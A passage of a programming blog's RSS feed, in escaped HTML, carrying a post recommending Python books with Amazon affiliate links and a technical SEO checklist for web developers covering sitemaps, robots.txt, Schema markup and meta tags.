      <content:encoded>&lt;h2 id=&#34;the-best-books-to-learn-python&#34;&gt;The Best books to learn Python&lt;/h2&gt;&#xA;&lt;p&gt;I used these curated resources to learn Python, most of them are books, since I read them, I can heartily recommend them to you. If this little guide can help you to not get lost in the sea of options out there I&amp;rsquo;ll be thrilled to share my experience learning Python with you.&lt;/p&gt;&#xA;&lt;style&gt;&#xA;    .affiliate-link-button{&#xA;      background-color: #FED400;&#xA;      color: #020100;&#xA;      padding: 10px 24px;&#xA;      border-radius: 4px;&#xA;  &#xA;  }&#xA;  .hide-on-sm {&#xA;    display: inline;&#xA;  }&#xA;  .hide-on-lg {&#xA;    display: none;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .hide-on-sm {&#xA;      display: none;&#xA;    }&#xA;    .hide-on-lg {&#xA;      display: inline;&#xA;    }&#xA;  }&#xA;  &#xA;  &lt;/style&gt;&#xA;&lt;h3 id=&#34;dive-into-python-3&#34;&gt;Dive into Python 3&lt;/h3&gt;&#xA;&lt;p&gt;This book is my favorite of all, it starts from scratch and begins to teach you the syntax of the language by creating small simple programs that even a fool &lt;del&gt;,like me,&lt;/del&gt; can understand. The programs are basic but the author doesn&amp;rsquo;t stop there, throughout the book he delves into topics such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Explanation of how Python transforms bytes into strings&lt;/li&gt;&#xA;&lt;li&gt;Efficiency of algorithms at a very basic level&lt;/li&gt;&#xA;&lt;li&gt;Generators&lt;/li&gt;&#xA;&lt;li&gt;Iterators&lt;/li&gt;&#xA;&lt;li&gt;Closures&lt;/li&gt;&#xA;&lt;li&gt;Regular expressions&lt;/li&gt;&#xA;&lt;li&gt;XML handling&lt;/li&gt;&#xA;&lt;li&gt;HTTP requests&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In my humble opinion this book is my favorite source for learning Python, I also &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;wrote a review of dive into Python&lt;/a&gt;&#xA; in the past.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742360/coffee-bytes/dive-into-python-e-reader-cover_ohoah5.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742360/coffee-bytes/dive-into-python-e-reader-cover_ohoah5.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Dive into Python book cover&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Dive into Python Book cover&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/42HBn0l&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Dive into Python on Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/42HBn0l&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Check price on Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;beggining-python-from-novice-to-professional&#34;&gt;Beggining Python from novice to Professional&lt;/h3&gt;&#xA;&lt;p&gt;Beggining Python from novice to Professional is an introduction to the language from scratch, basically starts with the installation of the Python binary and takes you step by step from syntax, through each of the most common uses of the language, like how to create native graphical interfaces, web servers from scratch using sockets and even some basic frameworks, like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django web framework&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Highly recommended if you want to get an overview of Python capabilities.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742217/coffee-bytes/Beginning_Python_from_novice_to_pro_tlfayl.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742217/coffee-bytes/Beginning_Python_from_novice_to_pro_tlfayl.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Beggining Python from Novice to Pro Book cover&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Beggining Python from Novice to Pro Book cover&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/44tPuZZ&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Beginning Python from Novice to Pro on Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/44tPuZZ&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Check price on Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;cracking-codes-with-python&#34;&gt;Cracking Codes with Python&lt;/h3&gt;&#xA;&lt;p&gt;A bit unusual book, it explains the basics of Python while teaching you the history of cryptography. This book also assumes that you know absolutely nothing about Python. The theme of the book is to teach you an encryption method each chapter.&lt;/p&gt;&#xA;&lt;p&gt;You will learn how to encrypt and decrypt using Caesar cipher, Vigenere, single-use notebooks and, to wrap the last chapters, the author dwells into the basics of RSA cipher.&lt;/p&gt;&#xA;&lt;p&gt;If you are looking for something short, sweet and enjoyable to master the most basic parts of the language this is your book.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742522/coffee-bytes/cracking_codes_with_python_mnovzk.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750742522/coffee-bytes/cracking_codes_with_python_mnovzk.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Cracking with Python book cover&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Cracking with Python book cover&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/4ixeQcE&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Cracking Codes with Python on Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/4ixeQcE&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Check price on Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;python-pocket-reference&#34;&gt;Python Pocket Reference&lt;/h3&gt;&#xA;&lt;p&gt;This little book of about 260 pages is the whole Python programming language in a nutshell, but it is not didactic and is more like a cheatsheet or summary of all the features and subtleties of this programming language.&lt;/p&gt;&#xA;&lt;p&gt;I can recommend it, but only if you already have notions of the language, in which case it is an excellent way to reinforce concepts and learn something new.&lt;/p&gt;&#xA;&lt;p&gt;The strength of this book is its portability, given its pocket-size you can read it at any leisure time or when you are on the go.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745616632/coffee-bytes/python-pocket-reference_vmfikn.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745616632/coffee-bytes/python-pocket-reference_vmfikn.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python Pocket Reference Book cover&#34; width=&#34;1600&#34; height=&#34;702&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python pocket reference book cover&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/4jNfdRh&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Python Pocket Reference on Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/4jNfdRh&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Check price on Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;python-tricks&#34;&gt;Python tricks&lt;/h3&gt;&#xA;&lt;p&gt;If you already have some notions of the language, this book will take your skills even further. Python tricks is a compilation of some little known, or overlooked, features of this programming language. What do you mean? Well, things like:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The use of zip&lt;/li&gt;&#xA;&lt;li&gt;Context managers&lt;/li&gt;&#xA;&lt;li&gt;Handling iterators&lt;/li&gt;&#xA;&lt;li&gt;Magic methods or dunders&lt;/li&gt;&#xA;&lt;li&gt;Closures&lt;/li&gt;&#xA;&lt;li&gt;Stacks and Queues&lt;/li&gt;&#xA;&lt;li&gt;Named tuples&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And too many things to cover in a short post. But if you have a chance and a little more experience in the language, I highly recommend you to acquire it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745688775/coffee-bytes/python-tricks_zjtir8.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745688775/coffee-bytes/python-tricks_zjtir8.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python tricks book cover&#34; width=&#34;1200&#34; height=&#34;527&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;a href=&#34;https://amzn.to/45QvNfz&#34; class=&#34;hide-on-sm affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Python Tricks on Amazon&#xA;&lt;/a&gt;&#xA;&lt;a href=&#34;https://amzn.to/45QvNfz&#34; class=&#34;hide-on-lg affiliate-link-button&#34; target=&#34;_blank&#34; rel=&#34;nofollow sponsored&#34;&gt;&#xA;  Check price on Amazon&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;the-best-books-to-learn-python&#34;&gt;The Best books to learn Python&lt;/h2&gt;&#xA;&lt;p&gt;I used these curated resources to learn Python, most of them are books, since I read them, I can heartily recommend them to you. If this little guide can help you to not get lost in the sea of options out there I&amp;rsquo;ll be thrilled to share my experience learning Python with you.&lt;/p&gt;&#xA;&lt;style&gt;&#xA;    .affiliate-link-button{&#xA;      background-color: #FED400;&#xA;      color: #020100;&#xA;      padding: 10px 24px;&#xA;      border-radius: 4px;&#xA;  &#xA;  }&#xA;  .hide-on-sm {&#xA;    display: inline;&#xA;  }&#xA;  .hide-on-lg {&#xA;    display: none;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .hide-on-sm {&#xA;      display: none;&#xA;    }&#xA;    .hide-on-lg {&#xA;      display: inline;&#xA;    }&#xA;  }&#xA;  &#xA;  &lt;/style&gt;&#xA;&lt;h3 id=&#34;dive-into-python-3&#34;&gt;Dive into Python 3&lt;/h3&gt;&#xA;&lt;p&gt;This book is my favorite of all, it starts from scratch and begins to teach you the syntax of the language by creating small simple programs that even a fool &lt;del&gt;,like me,&lt;/del&gt; can understand. The programs are basic but the author doesn&amp;rsquo;t stop there, throughout the book he delves into topics such as:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>My Technical SEO Basics Checklist Only For Web Developers</title>
      <link>https://coffeebytes.dev/en/seo/my-technical-seo-basics-checklist-only-for-web-developers/</link>
      <pubDate>Mon, 14 Apr 2025 00:02:21 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/seo/my-technical-seo-basics-checklist-only-for-web-developers/</guid>
      
      <category>seo</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Previously I told you how &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/&#34;&gt;I made many mistakes in SEO&lt;/a&gt;&#xA; when I migrated my website from Wordpress to Hugo, after that I started watching a lot of videos about SEO, especially Romuald&amp;rsquo;s videos (He is one of the biggest SEO influencers in Spanish speaking countries), I&amp;rsquo;ve also read &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/42uNZrv&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;The art of SEO&lt;/a&gt;&#xA; and I tried to summarize everything I learned from him and the book in a short post, just for you, before &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI overhype&lt;/a&gt;&#xA; explodes, taking SEO with it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744676557/coffee-bytes/romu-seo_d3i3l9.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744676557/coffee-bytes/romu-seo_d3i3l9.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Romuald Fons Video thumbnail&#34; width=&#34;480&#34; height=&#34;360&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;My totally reliable source: Romuald Fons&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I decided to focus on technical SEO because it&amp;rsquo;s the one that I understand, it&amp;rsquo;s less subjective and I&amp;rsquo;m more familiar with it.&lt;/p&gt;&#xA;&lt;p&gt;I have examined many websites and I have noticed that many professional web developers leave Technical SEO basics out from their developments, it is certainly true that it is quite an extensive topic and it is far from what their expertise area.&lt;/p&gt;&#xA;&lt;p&gt;The way I see it, doing an average SEO is better than ignoring the topic entirely.&lt;/p&gt;&#xA;&lt;p&gt;Simplifying SEO criminally, it can be divided in two:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Technical SEO&lt;/strong&gt;: all those objective, measurable aspects, like the presence of a sitemap, meta tags, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Content SEO&lt;/strong&gt;: it&amp;rsquo;s a bit more subjective, it&amp;rsquo;s about what words to use, what sites to connect with&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;seo-is-a-black-box-and-an-art-rather-than-science&#34;&gt;SEO is a black box and an art rather than science&lt;/h2&gt;&#xA;&lt;p&gt;Nobody knows exactly how the search engine algorithm works, so getting to the number one position in Google, or other engines, for a certain search keyword, is more of an art than a science.&lt;/p&gt;&#xA;&lt;p&gt;Even if you manage to vaguely understand how the algorithm works enough to manipulate it, you will have to face the fact that &lt;strong&gt;the algorithm is a shape-shifting entity&lt;/strong&gt; and what worked perfectly yesterday may not work today.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744675606/coffee-bytes/google-algorithm-update-meme_yd9cb0.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744675606/coffee-bytes/google-algorithm-update-meme_yd9cb0.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;google&amp;#39;s algorithm update meme&#34; width=&#34;1280&#34; height=&#34;720&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Despite the changes in the SEO world, the current SEO approach is still heavily tied to keywords; short phrases that you include in your website to tell search engines what your website content is about, so it can show it to the right users.&lt;/p&gt;&#xA;&lt;p&gt;However, lately, Google has said that its algorithm is so sophisticated that it manages to evaluate how well a website responds to &lt;em&gt;user intent&lt;/em&gt; and invites its users &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://about.google/company-info/philosophy/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;to focus on resolving user intent&lt;/a&gt;&#xA; rather than keywords. Although, paradoxically, their advertising services are still strongly keyword oriented.&lt;/p&gt;&#xA;&lt;h2 id=&#34;technical-seo-in-web-development&#34;&gt;Technical SEO in web development&lt;/h2&gt;&#xA;&lt;p&gt;Technical SEO consists of a series of requirements that a website must meet to appear friendly to search engines, so that they index you in high positions and when a user searches in serach engines, you appear in the top positions.&lt;/p&gt;&#xA;&lt;p&gt;This topic is very broad, but I hope to summarize in a way that you have a general idea and do not get lost in the sea of information that exists.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sitemapxml-is-the-most-important-one-of-technical-seo-basics&#34;&gt;Sitemap.xml is the most important one of technical SEO basics&lt;/h3&gt;&#xA;&lt;p&gt;This is probably the most important element of technical SEO basics. A sitemap will tell search engines what pages your application has.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744677728/coffee-bytes/robots-sitemap-relationship_fnzjlr.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744677728/coffee-bytes/robots-sitemap-relationship_fnzjlr.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Sitemap diagram showing available urls&#34; width=&#34;736&#34; height=&#34;316&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Sitemap diagram showing available urls&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In many cases, a sitemap can be generated dynamically, some frameworks even have tools that allow you to do it in a few lines, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/dynamic-sitemap-with-django/&#34;&gt;Django (using its sitemap class)&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Once created, you must tell the search engines where the url of your sitemap is located directly from your administration panel. If you don&amp;rsquo;t explicitly indicate it, they will search in the most common urls or, luckily in the &lt;em&gt;robots.txt&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744673455/coffee-bytes/screenshot-sitemap-google_zx6kdr.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744673455/coffee-bytes/screenshot-sitemap-google_zx6kdr.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of Google&amp;#39;s search console sitemap section&#34; width=&#34;1026&#34; height=&#34;465&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Screenshot of Google&amp;rsquo;s search console sitemap section&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;robotstxt&#34;&gt;Robots.txt&lt;/h3&gt;&#xA;&lt;p&gt;A &lt;em&gt;robots.txt&lt;/em&gt; file will guide search engines and crawlers on which URLs to ignore and which to inspect. In addition this file should include the location of the sitemap.&lt;/p&gt;&#xA;&lt;p&gt;The URL for this file is always expected to be &lt;em&gt;/robots.txt&lt;/em&gt;, so stick to this convention.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example of a &lt;em&gt;robots.txt&lt;/em&gt; file&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User-agent: *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disallow: /*/tags/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disallow: /*/categories/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disallow: /*/search/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sitemap: https://example.org/sitemap.xml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;a-robotstxt-file-is-not-for-blocking-crawlers-or-bots&#34;&gt;A robots.txt file is not for blocking crawlers or bots.&lt;/h4&gt;&#xA;&lt;p&gt;There is some confusion about this, and it&amp;rsquo;s pretty obvious but I&amp;rsquo;ll mention it anyway: &lt;strong&gt;crawlers can completely ignore the instructions in your robots.txt file&lt;/strong&gt;, so you should not see it as a protection mechanism for your website, if a crawler wants to, it will ignore the instructions contained there.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744680644/coffee-bytes/robots-txt-meme_qzyqxq.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744680644/coffee-bytes/robots-txt-meme_qzyqxq.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Robots.txt meme&#34; width=&#34;750&#34; height=&#34;737&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Robots.txt won&amp;rsquo;t protect you from crawlers&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;If any influencer tells you otherwise, they&amp;rsquo;re lying through his teeth. Furthermore, I dare them to stop a crawler just by using a &lt;em&gt;robots.txt&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;h4 id=&#34;robots-disallow-everything&#34;&gt;Robots disallow everything&lt;/h4&gt;&#xA;&lt;p&gt;If you want to tell crawlers to ignore absolutely everything on your site, you could use something like:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User-agent: *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Disallow: /&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;the-counterpart-of-robotstxt-humanstxt&#34;&gt;The counterpart of robots.txt: humans.txt&lt;/h4&gt;&#xA;&lt;p&gt;As a curious fact, there is an initiative to popularize the idea of adding the counterpart of the &lt;em&gt;robots.txt&lt;/em&gt; file, a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://humanstxt.org&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;em&gt;humans.txt&lt;/em&gt; file&lt;/a&gt;&#xA; and show the human part behind a web site, the soul in the machine or in the console (the &amp;ldquo;Ghost in the shell&amp;rdquo;?), I think it is a very nice idea to know how are the humans behind a web site. Unfortunately this project has little diffusion to date.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-often-ignored-schema-markup&#34;&gt;The often ignored Schema markup&lt;/h3&gt;&#xA;&lt;p&gt;Often present as a &lt;em&gt;ld+json&lt;/em&gt; type &lt;em&gt;script&lt;/em&gt; tag (although there are other valid formats), which can be found anywhere in your HTML document, it tells search engines what elements your web site has and how they relate to each other.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744678359/coffee-bytes/schema-markup-diagram_1_laalzs.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744678359/coffee-bytes/schema-markup-diagram_1_laalzs.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Schema Markup diagram&#34; width=&#34;1133&#34; height=&#34;374&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;A Schema will provide information about the contents of a webpage&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The different types of Schema are very complex and it is a whole topic to discuss, since they vary greatly according to the type of website.&lt;/p&gt;&#xA;&lt;p&gt;A website that sells electronics will have a completely different set of Schema properties than a restaurant website, or a web application.&lt;/p&gt;&#xA;&lt;p&gt;If you are completely lost, here is a prompt you can use for guidance, just write it to ChatGPT, DeepSeek or any other competent LLM:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You are an SEO expert, create the content of a ld+json tag, based on schema.org features, for a web page whose main topic is &amp;ldquo;x&amp;rdquo;, the content of the page consists of &amp;ldquo;y&amp;rdquo;, you can use placeholders for the variables using the following format: &amp;ldquo;z&amp;rdquo;, please.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Once you get the result corroborate it with the official documentation or with your &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://validator.schema.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;schema markup validation tool&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;presence-of-meta-tags&#34;&gt;Presence of Meta tags&lt;/h3&gt;&#xA;&lt;p&gt;The metatags that go in the &lt;em&gt;head&lt;/em&gt; tag of your HTML are metadata about the content that can be used to help search engines understand your site better.&lt;/p&gt;&#xA;&lt;p&gt;Within the metatags are especially important the Open Graph, as they are the standard for social networks to obtain information from your web pages, these meta tags are the ones that make one of your links look like this when you share it on social networks.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744673982/coffee-bytes/og-meta-tags-visualized_vt8xkh.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744673982/coffee-bytes/og-meta-tags-visualized_vt8xkh.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Social networks use metatags to display relevant information on a page.&#34; width=&#34;527&#34; height=&#34;354&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Social networks use metatags to display relevant information on a page.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;There are some &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.seoptimer.com/meta-tag-generator&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;meta tag generators&lt;/a&gt;&#xA; that you can use to generate all the boilerplate, or simple ask chatGPT.&lt;/p&gt;&#xA;&lt;h3 id=&#34;good-performance-is-generally-overrated-in-technical-seo-basics&#34;&gt;Good performance is generally overrated in technical SEO basics&lt;/h3&gt;&#xA;&lt;p&gt;A website must provide a good user experience and be responsive, it matters, yes, but not as much as you think.&lt;/p&gt;&#xA;&lt;p&gt;Content plays a much more important role than the speed of your website, it is common to see websites that are poorly optimized but with a good ranking in search engines, but don&amp;rsquo;t blindly trust me, double-check it, check google&amp;rsquo;s first page results using the following tool.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744674198/coffee-bytes/Lighthouse-score-for-zeedu_xb0ekq.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1744674198/coffee-bytes/Lighthouse-score-for-zeedu_xb0ekq.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Lighthouse score for my portfolio page&#34; width=&#34;989&#34; height=&#34;766&#34;&gt;&lt;figcaption&gt;&#xA;      